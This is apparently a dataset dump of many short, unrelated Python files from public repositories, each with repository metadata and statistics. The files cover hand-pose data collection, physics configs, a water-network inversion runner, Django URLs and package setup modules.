Python
generate_test_data.py
mertcanozturk/mathematical-operations-with-hand-pose
46afbfb266096f93beb95d40de80dc19c74e66ee
[ "Apache-2.0" ]
null
null
null
generate_test_data.py
mertcanozturk/mathematical-operations-with-hand-pose
46afbfb266096f93beb95d40de80dc19c74e66ee
[ "Apache-2.0" ]
null
null
null
generate_test_data.py
mertcanozturk/mathematical-operations-with-hand-pose
46afbfb266096f93beb95d40de80dc19c74e66ee
[ "Apache-2.0" ]
null
null
null
import keyboard import math def generate(distances): print("yaziliyor") with open("letter.csv", "a") as myfile: myfile.write(str(distances)) def GetDistance(point1,point2): return math.sqrt((point2[0]-point1[0])**2 + (point2[1]-point1[1])**2) def calculate_str_distance(letter,joint_coords): distances = '\n'+letter+','+ str(GetDistance(joint_coords[20],joint_coords[16])) + ',' #20 serçe 4 baş 0 avuç distances +=(str(GetDistance(joint_coords[16],joint_coords[12]))+',') distances +=(str(GetDistance(joint_coords[12],joint_coords[8]))+',') distances +=(str(GetDistance(joint_coords[8],joint_coords[4]))+',') distances +=(str(GetDistance(joint_coords[0],joint_coords[20]))+',') distances +=(str(GetDistance(joint_coords[0],joint_coords[16]))+',') distances +=(str(GetDistance(joint_coords[0],joint_coords[12]))+',') distances +=(str(GetDistance(joint_coords[0],joint_coords[8]))+',') distances +=(str(GetDistance(joint_coords[0],joint_coords[4]))) return distances def KeyboardEvents(joint_coords): try: if keyboard.is_pressed('1'): generate(calculate_str_distance('1',joint_coords)) except: pass try: if keyboard.is_pressed('2'): generate(calculate_str_distance('2',joint_coords)) except: pass try: if keyboard.is_pressed('3'): generate(calculate_str_distance('3',joint_coords)) except: pass try: if keyboard.is_pressed('4'): generate(calculate_str_distance('4',joint_coords)) except: pass try: if keyboard.is_pressed('5'): generate(calculate_str_distance('5',joint_coords)) except: pass try: if keyboard.is_pressed('6'): generate(calculate_str_distance('6',joint_coords)) except: pass try: if keyboard.is_pressed('7'): generate(calculate_str_distance('7',joint_coords)) except: pass
34.186441
114
0.632127
244
2,017
5.020492
0.20082
0.242449
0.139592
0.183673
0.522449
0.476735
0.476735
0.476735
0.210612
0
0
0.03522
0.211701
2,017
59
115
34.186441
0.73522
0.010412
0
0.381818
1
0
0.022545
0
0
0
0
0
0
1
0.072727
false
0.127273
0.036364
0.018182
0.145455
0.018182
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
a639a7415e6a2d2886b1fc05e0e33aae22b8dde8
633
py
Python
TopQuarkAnalysis/TopEventProducers/python/tqafSequences_old_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
852
2015-01-11T21:03:51.000Z
2022-03-25T21:14:00.000Z
TopQuarkAnalysis/TopEventProducers/python/tqafSequences_old_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
30,371
2015-01-02T00:14:40.000Z
2022-03-31T23:26:05.000Z
TopQuarkAnalysis/TopEventProducers/python/tqafSequences_old_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
3,240
2015-01-02T05:53:18.000Z
2022-03-31T17:24:21.000Z
import FWCore.ParameterSet.Config as cms ## produce ttGenEvent from TopQuarkAnalysis.TopEventProducers.sequences.ttGenEvent_cff import * ## produce event solution from TopQuarkAnalysis.TopEventProducers.producers.TtSemiEvtSolProducer_cfi import * ## make tqaf layer2 tqafLayer2_ttSemiLeptonic_old = cms.Sequence(makeGenEvt * solutions) ## produce ttGenEvent from TopQuarkAnalysis.TopEventProducers.sequences.ttGenEvent_cff import * ## produce event solution from TopQuarkAnalysis.TopEventProducers.producers.TtDilepEvtSolProducer_cfi import * ## make tqaf layer2 tqafLayer2_ttFullLeptonic_old = cms.Sequence(makeGenEvt*solutions)
37.235294
84
0.853081
64
633
8.3125
0.453125
0.150376
0.278195
0.139098
0.804511
0.680451
0.556391
0.556391
0.556391
0.556391
0
0.006897
0.083728
633
16
85
39.5625
0.910345
0.184834
0
0.285714
0
0
0
0
0
0
0
0
0
1
0
false
0
0.714286
0
0.714286
0
0
0
0
null
0
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
a63afcc4aceccc4130b9de8c64444e6920fd048a
158
py
Python
recursive/count_down.py
yujhenchen/AlgorithmsAndDataStructures
73283eea4ace8bd76ae6c63b30cd55da400ac373
[ "MIT" ]
null
null
null
recursive/count_down.py
yujhenchen/AlgorithmsAndDataStructures
73283eea4ace8bd76ae6c63b30cd55da400ac373
[ "MIT" ]
null
null
null
recursive/count_down.py
yujhenchen/AlgorithmsAndDataStructures
73283eea4ace8bd76ae6c63b30cd55da400ac373
[ "MIT" ]
null
null
null
def count_down(num): if num == 0: return 0 else: print(num) num = num -1 return count_down(num) print(count_down(10))
17.555556
30
0.531646
23
158
3.521739
0.478261
0.333333
0.296296
0
0
0
0
0
0
0
0
0.049505
0.360759
158
9
31
17.555556
0.752475
0
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0
0
0.375
0.25
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
a650ebc5f6a3f1a40b942325b50349e369798d43
197
py
Python
src/morpheus/algo/__init__.py
eliavw/morpheus
01c6d15416188254cfdcc7fe9461069cbf8dbe63
[ "MIT" ]
null
null
null
src/morpheus/algo/__init__.py
eliavw/morpheus
01c6d15416188254cfdcc7fe9461069cbf8dbe63
[ "MIT" ]
null
null
null
src/morpheus/algo/__init__.py
eliavw/morpheus
01c6d15416188254cfdcc7fe9461069cbf8dbe63
[ "MIT" ]
null
null
null
from .prediction import ( mi_algorithm, ma_algorithm, mrai_algorithm, it_algorithm, rw_algorithm, ) from .selection import base_selection_algorithm, random_selection_algorithm
19.7
75
0.766497
22
197
6.454545
0.545455
0.253521
0
0
0
0
0
0
0
0
0
0
0.182741
197
9
76
21.888889
0.881988
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
a65a92efa05f162b0aae4918346b85ec42702f8e
120
py
Python
open_connect/accounts/__init__.py
ofa/connect
a56c0f89df82694bf5db32a04d8b092974791972
[ "MIT" ]
66
2015-11-30T20:35:38.000Z
2019-06-12T17:40:32.000Z
open_connect/accounts/__init__.py
ofa/connect
a56c0f89df82694bf5db32a04d8b092974791972
[ "MIT" ]
18
2015-11-30T22:03:05.000Z
2019-07-02T00:50:29.000Z
open_connect/accounts/__init__.py
ofa/connect
a56c0f89df82694bf5db32a04d8b092974791972
[ "MIT" ]
11
2015-11-30T20:56:01.000Z
2019-07-01T17:06:09.000Z
"""User account app""" # pylint: disable=invalid-name default_app_config = 'open_connect.accounts.apps.AccountsConfig'
24
64
0.783333
15
120
6.066667
0.933333
0
0
0
0
0
0
0
0
0
0
0
0.083333
120
4
65
30
0.827273
0.383333
0
0
0
0
0.602941
0.602941
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
a6632db308f34d972fdbe422b733380b14c38d97
144
py
Python
dvc/output/hdfs.py
sahilbhosale63/dvc
999c9e188801f971b75f51ca84f5bad533cb462c
[ "Apache-2.0" ]
null
null
null
dvc/output/hdfs.py
sahilbhosale63/dvc
999c9e188801f971b75f51ca84f5bad533cb462c
[ "Apache-2.0" ]
null
null
null
dvc/output/hdfs.py
sahilbhosale63/dvc
999c9e188801f971b75f51ca84f5bad533cb462c
[ "Apache-2.0" ]
null
null
null
from dvc.output.base import BaseOutput from dvc.remote.hdfs import HDFSRemoteTree class HDFSOutput(BaseOutput): TREE_CLS = HDFSRemoteTree
20.571429
42
0.8125
18
144
6.444444
0.722222
0.12069
0
0
0
0
0
0
0
0
0
0
0.131944
144
6
43
24
0.928
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
a67bf78de5da31a51ff0797071a0c5417d06c1f7
367
py
Python
pyleecan/Methods/Slot/SlotMPolar/comp_angle_opening.py
harshasunder-1/pyleecan
32ae60f98b314848eb9b385e3652d7fc50a77420
[ "Apache-2.0" ]
2
2019-06-08T15:04:39.000Z
2020-09-07T13:32:22.000Z
pyleecan/Methods/Slot/SlotMPolar/comp_angle_opening.py
harshasunder-1/pyleecan
32ae60f98b314848eb9b385e3652d7fc50a77420
[ "Apache-2.0" ]
null
null
null
pyleecan/Methods/Slot/SlotMPolar/comp_angle_opening.py
harshasunder-1/pyleecan
32ae60f98b314848eb9b385e3652d7fc50a77420
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- def comp_angle_opening(self): """Compute the average opening angle of the Slot Parameters ---------- self : SlotMPolar A SlotMPolar object Returns ------- alpha: float Average opening angle of the slot [rad] """ Nmag = len(self.magnet) return self.W0 * Nmag + self.W3 * (Nmag - 1)
17.47619
52
0.561308
44
367
4.636364
0.636364
0.137255
0.186275
0.205882
0.27451
0.27451
0
0
0
0
0
0.015564
0.299728
367
20
53
18.35
0.77821
0.564033
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
a67e684bf1a33ddedae48227fe521d02b76fbc32
223
py
Python
artist/urls.py
Sarosim/Pictures-on-the-wall
c7ec7776b34c7fee12baedb9b488b6d408982605
[ "MIT", "Unlicense" ]
null
null
null
artist/urls.py
Sarosim/Pictures-on-the-wall
c7ec7776b34c7fee12baedb9b488b6d408982605
[ "MIT", "Unlicense" ]
4
2021-06-08T21:28:57.000Z
2022-01-13T02:41:14.000Z
artist/urls.py
Sarosim/Pictures-on-the-wall
c7ec7776b34c7fee12baedb9b488b6d408982605
[ "MIT", "Unlicense" ]
1
2020-05-01T01:04:13.000Z
2020-05-01T01:04:13.000Z
from django.conf.urls import url, include from .views import dashboard, artist_profile urlpatterns = [ url(r'^$', dashboard, name = 'dashboard'), url(r'^artist_profile/', artist_profile, name = "artist_profile"), ]
31.857143
70
0.713004
28
223
5.535714
0.5
0.335484
0
0
0
0
0
0
0
0
0
0
0.143498
223
7
71
31.857143
0.811518
0
0
0
0
0
0.183036
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
a6ac1f92d8f7614833abce7fee626e328d1ff9cf
166
py
Python
TheNounProjectAPI/context.py
CubieDev/TheNounProjectAPI
6db6031800047421146bc72e74060b8af9a7b3be
[ "MIT" ]
8
2019-10-18T21:07:33.000Z
2021-01-10T01:36:23.000Z
TheNounProjectAPI/context.py
CubieDev/TheNounProjectAPI
6db6031800047421146bc72e74060b8af9a7b3be
[ "MIT" ]
1
2020-07-20T14:00:21.000Z
2020-08-24T10:13:04.000Z
tests/context.py
CubieDev/TheNounProjectAPI
6db6031800047421146bc72e74060b8af9a7b3be
[ "MIT" ]
1
2021-07-22T01:52:04.000Z
2021-07-22T01:52:04.000Z
import os, sys """ Expand the context so we can easily access TheNounProjectAPI """ sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
55.333333
82
0.728916
26
166
4.5
0.730769
0.153846
0
0
0
0
0
0
0
0
0
0.006667
0.096386
166
3
82
55.333333
0.773333
0
0
0
0
0
0.020202
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
a6d8e3c5bef17db2585e69b0c5804d98807944f0
181
py
Python
data_exploration.py
abhishek1998/HCIS_GroupProject
41226f6585647cd59d55058cc3fb03f49132cd4a
[ "MIT" ]
null
null
null
data_exploration.py
abhishek1998/HCIS_GroupProject
41226f6585647cd59d55058cc3fb03f49132cd4a
[ "MIT" ]
null
null
null
data_exploration.py
abhishek1998/HCIS_GroupProject
41226f6585647cd59d55058cc3fb03f49132cd4a
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Tue Nov 17 18:37:22 2020 @author: Abhishek Raturi (araturi@my.centennialcollege.ca) """ import numpy as np import os import pandas as pd
16.454545
58
0.685083
29
181
4.275862
0.896552
0
0
0
0
0
0
0
0
0
0
0.087838
0.18232
181
10
59
18.1
0.75
0.651934
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4
a6d9575178dab8da22fb6e800b5ebe242c51a81a
17
py
Python
python/testData/resolve/multiFile/importSubModuleDunderAll/pkg1/__init__.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2018-12-29T09:53:39.000Z
2018-12-29T09:53:42.000Z
python/testData/resolve/multiFile/importSubModuleDunderAll/pkg1/__init__.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/resolve/multiFile/importSubModuleDunderAll/pkg1/__init__.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
__all__ = ['m1']
8.5
16
0.529412
2
17
2.5
1
0
0
0
0
0
0
0
0
0
0
0.071429
0.176471
17
1
17
17
0.285714
0
0
0
0
0
0.117647
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
a6fedf4e5a243233fed73e2c7ac000acbb064e05
126
py
Python
tests/fixtures/app_bundle/__init__.py
briancappello/flask-controller-bundle
1a5b9c58156083b711f90133d8ccb45d50b79aab
[ "MIT" ]
69
2018-10-10T01:59:11.000Z
2022-03-29T17:29:30.000Z
tests/fixtures/app_bundle/__init__.py
briancappello/flask-controller-bundle
1a5b9c58156083b711f90133d8ccb45d50b79aab
[ "MIT" ]
18
2018-11-17T12:42:02.000Z
2021-05-22T18:45:27.000Z
tests/fixtures/app_bundle/__init__.py
briancappello/flask-controller-bundle
1a5b9c58156083b711f90133d8ccb45d50b79aab
[ "MIT" ]
7
2018-10-12T16:20:25.000Z
2021-10-06T12:18:21.000Z
from flask_unchained import AppBundle as BaseAppBundle class AppBundle(BaseAppBundle): blueprint_names = ['one', 'two']
21
54
0.769841
14
126
6.785714
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.142857
126
5
55
25.2
0.87963
0
0
0
0
0
0.047619
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
5b3a5afe9058a19c6bb48bf4507d815af519e903
7,230
py
Python
packages/dinesti/python/_inversion.py
USEPA/Water-Security-Toolkit
6b6b68e0e1b3dcc8023b453ab48a64f7fd740feb
[ "BSD-3-Clause" ]
3
2019-06-10T18:04:14.000Z
2020-12-05T18:11:40.000Z
packages/dinesti/python/_inversion.py
USEPA/Water-Security-Toolkit
6b6b68e0e1b3dcc8023b453ab48a64f7fd740feb
[ "BSD-3-Clause" ]
null
null
null
packages/dinesti/python/_inversion.py
USEPA/Water-Security-Toolkit
6b6b68e0e1b3dcc8023b453ab48a64f7fd740feb
[ "BSD-3-Clause" ]
2
2020-09-24T19:04:14.000Z
2020-12-05T18:11:43.000Z
# Copyright (2013) Sandia Corporation. Under the terms of Contract # DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government # retains certain rights in this software. # # This software is released under the FreeBSD license as described # in License.txt import time import string import subprocess import os import tempfile from multiprocessing import Process import _gui from _gui import FakeFile import random import json # Python 2.6 or later def createYmlFile(fGrab, fINP, fWQM, fNodes, sOutputPrefix): file = tempfile.NamedTemporaryFile(delete=False, suffix='.yml') _gui.writeLine(file,"# written using dinesti web gui") _gui.writeLine(file,"network:") _gui.writeLine(file," epanet file: " + fINP.name) #_gui.writeLine(file," hydraulic timestep: None") # missing? _gui.writeLine(file," water quality timestep: INP") _gui.writeLine(file," simulation duration: INP") #_gui.writeLine(file," erd compression: RLE") # RLE or LZMA # missing _gui.writeLine(file,"") _gui.writeLine(file,"measurements:") _gui.writeLine(file," grab samples: " + fGrab.name) _gui.writeLine(file,"") _gui.writeLine(file,"inversion:") #_gui.writeLine(file," model type: STEP")# LP, MIP, or STEP #_gui.writeLine(file," model format: AMPL")# AMPL or PYOMO #_gui.writeLine(file," algorithm: optimization") # or probability _gui.writeLine(file," algorithm: probability") # or optimization _gui.writeLine(file," meas failure: 0.01") # default = 0.05 ? (probability only) apparently zero doesnt work sometimes _gui.writeLine(file," confidence: 0.95") # default = 0.95 ? (probability only) #_gui.writeLine(file," horizon: None") # horizon time #_gui.writeLine(file," N_injections: 1") #_gui.writeLine(file," start inversion: None") # start time #_gui.writeLine(file," pos_threshold: 100") # (optimization only) #_gui.writeLine(file," neg_threshold: 0.1") # (optimization only) _gui.writeLine(file," Allowed nodes file: None") # + fNodes.name) #_gui.writeLine(file," Candidates_threshold: None") # 0.8") # None, def = 0.95, (optimization only) #_gui.writeLine(file," meas_threshold: 0") # None #_gui.writeLine(file," wqm_zero_tol: None") # 0.0 _gui.writeLine(file," output impact nodes: None") # False _gui.writeLine(file," wqm file: " + fWQM.name) _gui.writeLine(file,"") #_gui.writeLine(file,"solver:") #_gui.writeLine(file," cplex:") #_gui.writeLine(file," mipgap: 0.02") #_gui.writeLine(file," threads: 1") _gui.writeLine(file,"") _gui.writeLine(file,"configure:") #_gui.writeLine(file," ampl executable: ampl") _gui.writeLine(file," pyomo executable: pyomo") _gui.writeLine(file," output prefix: " + sOutputPrefix) _gui.writeLine(file,"") #_gui.writeLine(file,"internal:") #_gui.writeLine(file," nodeNames: []") #_gui.writeLine(file," nodeIndices: []") return file def createInpFile(data): uuid = data.get("docId", None) if uuid == None: return FakeFile() name = data.get("fileName", None) if name == None: return FakeFile() text = _gui.getFile(uuid, name) temp = tempfile.NamedTemporaryFile(delete=False, suffix='.inp') temp.write(text) return temp def createWqmFile(data): uuid = data.get("docId", None) if uuid == None: return FakeFile() name = data.get("wqmFile", None) if name == None: return FakeFile() text = _gui.getFile(uuid, name) temp = tempfile.NamedTemporaryFile(delete=False, suffix='.wqm') temp.write(text) return temp def createGrabFile(uuid): temp = tempfile.NamedTemporaryFile(delete=False, suffix='.grab') data = _gui.getView("m_MeasureList?key=\"" + uuid + "\"") for row in data["rows"]: text = _gui.getFile(row["id"], row["value"]["fileName"]) temp.write(text + "\n") return temp def createNodesFile(Nodes): if len(Nodes) == 0: return FakeFile() temp = tempfile.NamedTemporaryFile(delete=False, suffix='.nodes') for node in Nodes: temp.write(str(node) + "\n") return temp def runWst(fGrab, fINP, fWQM, fNodes, fYML, sUuid, sInstallDir, sOutputPrefix): nStart = time.time() args = [sInstallDir + "python/bin/wst", "inversion", fYML.name] # p = subprocess.Popen(args, stdout = subprocess.PIPE) doc = _gui.getDoc(sUuid) doc["pid"] = str(p.pid) doc["status"] = "Running" _gui.setDoc(sUuid, doc) #doc = _gui.getDoc(sUuid) com = p.communicate() sOut = com[0] # doc = _gui.getDoc(sUuid) results = _gui.readJsonFile(sOutputPrefix + "_inversion_results.json", "") # ids = {} max = 0 for i,result in enumerate(results): ids[result["Nodes"][0]["Name"]] = i dVal = result["Objective"] if dVal > max: max = dVal # doc["results"] = {"list":results, "ids":ids, "max": max} # sOUT = _gui.readFile(sOutputPrefix + "_inversionsim.out", "") doc["debug_text_out_file"] = sOUT sTSG = _gui.readFile(sOutputPrefix + "_profile.tsg", "") doc["results_for_grab_sample"] = sTSG # doc["debug_fileGrab"] = fGrab.name doc["debug_stdout"] = com[0] doc["returnCode"] = p.returncode if com[1] == None: doc["debug_stderr"] = "\0" else: doc["debug_stderr"] = com[1] # sKill = "Signal handler called from" index = string.find(sOut, sKill) doc["debug_stdout_find_error_index"] = index # if _gui.bDeleteTempFiles(override=None): _gui.removeFiles([fGrab, fINP, fWQM, fNodes, fYML]) _gui.removeFile(sOutputPrefix + "_epanet") _gui.removeFile(sOutputPrefix + "_merlion") _gui.removeFile(sOutputPrefix + "_MERLION_LABEL_MAP.txt") _gui.removeFile(sOutputPrefix + "_inversionsim.out") _gui.removeFile(sOutputPrefix + "_inversionsim.log") _gui.removeFile(sOutputPrefix + "_inversion_results.json") _gui.removeFile(sOutputPrefix + "_profile.tsg") _gui.removeFile(sOutputPrefix + "_Likely_Nodes.dat") # if results == "": doc["status"] = "Error" elif index == -1 and p.returncode == 0: doc["status"] = "Complete" elif index == -1: doc["status"] = "Error" else: doc["status"] = "Stopped" # doc["timer"] = time.time() - nStart return _gui.setGetDoc(sUuid, doc) def runThreaded(doc, sOutputPrefix, bThreaded=True): sUuid = doc["_id"] sInstallDir = _gui.getInstallDir() docFile_INP = _gui.getValue(doc, "docFile_INP") Nodes = _gui.getValue(doc, "Nodes", []) fGrab = createGrabFile(sUuid) fWQM = createWqmFile(docFile_INP) if fWQM.name == "None": fINP = createInpFile(docFile_INP) else: fINP = FakeFile() fNodes = createNodesFile(Nodes) fYML = createYmlFile(fGrab, fINP, fWQM, fNodes, sOutputPrefix) _gui.closeFiles([fGrab, fINP, fNodes, fYML]) # if bThreaded: p = Process(target=runWst, args=(fGrab, fINP, fWQM, fNodes, fYML, sUuid, sInstallDir, sOutputPrefix, )) p.start() else: return runWst(fGrab, fINP, fWQM, fNodes, fYML, sUuid, sInstallDir, sOutputPrefix) return def run(sCall, sUuid, bThreaded=True): if sCall == "rename": return False if sCall == "delete": return False sDir = tempfile.gettempdir() os.chdir(sDir) doc = _gui.getDoc(sUuid) runThreaded(doc, sUuid, True) return _gui.respondJSON(json.dumps({})) def main(): _gui.setHost() for req in _gui.getRequests(): sDb = _gui.getQuery(req, "db") _gui.setDatabase(sDb) sCall = _gui.getQuery(req, "call") sUuid = _gui.getQuery(req, "uuid") bRetVal = run(sCall, sUuid, True) if bRetVal: continue _gui.respondJSON(json.dumps({})) if __name__ == "__main__": main()
7,230
7,230
0.702351
930
7,230
5.319355
0.278495
0.104306
0.139074
0.023044
0.211441
0.178694
0.111583
0.097029
0.086517
0.063069
0
0.009006
0.139972
7,230
1
7,230
7,230
0.786587
0.991425
0
0.185185
0
0
0.166431
0.021201
0
0
0
0
0
1
0.055556
false
0
0.061728
0
0.191358
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
5b5ab08ca6f54fcc27240595440cc29f60beac8e
146
py
Python
setup.py
edlanglois/cbuffer
47c6ec2f424f787b50ef1c03780abbd395ceb7f9
[ "MIT" ]
null
null
null
setup.py
edlanglois/cbuffer
47c6ec2f424f787b50ef1c03780abbd395ceb7f9
[ "MIT" ]
null
null
null
setup.py
edlanglois/cbuffer
47c6ec2f424f787b50ef1c03780abbd395ceb7f9
[ "MIT" ]
null
null
null
#!/usr/bin/env python import setuptools if __name__ == "__main__": setuptools.setup(use_scm_version={"write_to": "edl_cbuffer/version.py"})
20.857143
76
0.732877
20
146
4.75
0.9
0
0
0
0
0
0
0
0
0
0
0
0.109589
146
6
77
24.333333
0.730769
0.136986
0
0
0
0
0.304
0.176
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
5b66a332b28426fc0eebdcb074c9da14d302e1b4
228
py
Python
polecat/db/sql/expression/count.py
furious-luke/polecat
7be5110f76dc42b15c922c1bb7d49220e916246d
[ "MIT" ]
4
2019-08-10T12:56:12.000Z
2020-01-21T09:51:20.000Z
polecat/db/sql/expression/count.py
furious-luke/polecat
7be5110f76dc42b15c922c1bb7d49220e916246d
[ "MIT" ]
71
2019-04-09T05:39:21.000Z
2020-05-16T23:09:24.000Z
polecat/db/sql/expression/count.py
furious-luke/polecat
7be5110f76dc42b15c922c1bb7d49220e916246d
[ "MIT" ]
null
null
null
from psycopg2.sql import SQL from .expression import Expression class Count(Expression): def __init__(self, expression=None): self.expression = expression def to_sql(self): return SQL('COUNT(*)'), ()
19
40
0.675439
27
228
5.518519
0.481481
0.174497
0
0
0
0
0
0
0
0
0
0.005587
0.214912
228
11
41
20.727273
0.826816
0
0
0
0
0
0.035088
0
0
0
0
0
0
1
0.285714
false
0
0.285714
0.142857
0.857143
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
4
5b6e58e26e785d112e9135cbc5893ae66e1e3806
145
py
Python
artistools/nltepops/__main__.py
artis-mcrt/artistools
40f78d87fa5cd50f08731a63a9fc2ecb85c7e06d
[ "MIT" ]
7
2021-04-12T12:08:40.000Z
2021-12-22T12:29:27.000Z
artistools/nltepops/__main__.py
lukeshingles/artistools
51a6f4f265a976f4a159d284bc257453b26ee426
[ "MIT" ]
18
2017-05-05T03:20:39.000Z
2020-10-13T10:47:09.000Z
artistools/nltepops/__main__.py
artis-mcrt/artistools
40f78d87fa5cd50f08731a63a9fc2ecb85c7e06d
[ "MIT" ]
1
2021-07-19T14:11:46.000Z
2021-07-19T14:11:46.000Z
import artistools # from .__init__ import main if __name__ == '__main__': # multiprocessing.freeze_support() artistools.nltepops.main()
20.714286
38
0.737931
15
145
6.266667
0.733333
0
0
0
0
0
0
0
0
0
0
0
0.158621
145
6
39
24.166667
0.770492
0.406897
0
0
0
0
0.096386
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
5b727631a631dbf8c6795fd4fbfe07e8105f4a13
282
py
Python
xmltocd/_rely.py
JIYANG-PLUS/xml-to-chain-dict
6c4fd3b25113639546fbff156c6a78aca18fd2da
[ "MIT" ]
null
null
null
xmltocd/_rely.py
JIYANG-PLUS/xml-to-chain-dict
6c4fd3b25113639546fbff156c6a78aca18fd2da
[ "MIT" ]
null
null
null
xmltocd/_rely.py
JIYANG-PLUS/xml-to-chain-dict
6c4fd3b25113639546fbff156c6a78aca18fd2da
[ "MIT" ]
null
null
null
try: import xmltodict except: raise ImportError('Unable to import xmltodict, please `pip install xmltodict==0.12.0`.') else: if xmltodict.__version__ != '0.12.0': raise ImportError("xmltodict's version must be `0.12.0`, please `pip install xmltodict==0.12.0`.")
35.25
106
0.687943
41
282
4.634146
0.463415
0.063158
0.084211
0.263158
0.305263
0.305263
0.305263
0
0
0
0
0.068376
0.170213
282
7
107
40.285714
0.74359
0
0
0
0
0.142857
0.531915
0
0
0
0
0
0
1
0
true
0
0.428571
0
0.428571
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
5ba57d8c813087fa90162ed804bf714877e92400
60
py
Python
URL/__init__.py
Hydrophobefireman/self-host-google-fonts
9e0f8a20aa939532be7e72d3199b36a95be6cfe3
[ "MIT" ]
null
null
null
URL/__init__.py
Hydrophobefireman/self-host-google-fonts
9e0f8a20aa939532be7e72d3199b36a95be6cfe3
[ "MIT" ]
null
null
null
URL/__init__.py
Hydrophobefireman/self-host-google-fonts
9e0f8a20aa939532be7e72d3199b36a95be6cfe3
[ "MIT" ]
null
null
null
from .util import * from .url import URL __all__ = ["URL"]
12
20
0.666667
9
60
4
0.555556
0
0
0
0
0
0
0
0
0
0
0
0.2
60
4
21
15
0.75
0
0
0
0
0
0.05
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
5ba6501e9e9548935be3ca8774badf33064bf2c9
277
py
Python
templates/create_formula/languages/python2/src/main.py
antoniofilhozup/ritchie-formulas
3c0317b8c2bc1abe0d1933fdc9b560e8786d4c81
[ "Apache-2.0" ]
107
2020-04-16T20:12:00.000Z
2022-03-04T23:40:08.000Z
templates/create_formula/languages/python2/src/main.py
antoniofilhozup/ritchie-formulas
3c0317b8c2bc1abe0d1933fdc9b560e8786d4c81
[ "Apache-2.0" ]
147
2020-04-14T13:20:49.000Z
2022-01-17T14:35:23.000Z
